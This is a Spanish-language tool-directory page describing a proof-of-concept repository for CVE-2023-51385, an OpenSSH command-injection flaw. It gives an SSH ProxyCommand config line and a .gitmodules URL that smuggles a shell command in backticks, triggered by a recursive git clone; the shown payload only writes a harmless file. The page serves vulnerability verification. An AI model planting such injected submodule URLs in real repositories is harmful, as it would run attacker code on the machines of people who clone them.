Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-51385_test — Una validación para CVE-2023-51385 | Kitploit
Herramientas/GitHubGitHub/ltmthink/cve-2023-51385_test
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad de Cadena de SuministroAprendizaje y Educación
GitHubltmthink/cve-2023-51385_test

CVE-2023-51385_test

Una validación para CVE-2023-51385

Ver Repositorio
7173hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Verificar CVE-2023-51385

Primero, necesitas agregar el siguiente contenido en ~/.ssh/config

root@kitploit:~
host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

Existe inyección de comandos en la declaración del archivo .gitmodules

root@kitploit:~
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar

Una vez configurado, ejecuta el siguiente comando para activarlo

root@kitploit:~
git clone https://github.com/LtmThink/CVE-2023-51385_test --recurse-submodules

Si se ejecuta correctamente, se generará un archivo cve.txt en el directorio CVE-2023-51385_test

image-20240317161540677

Nota: OpenSSH necesita <9.6p1

Más detalles en este blog:

https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html

Descargar herramienta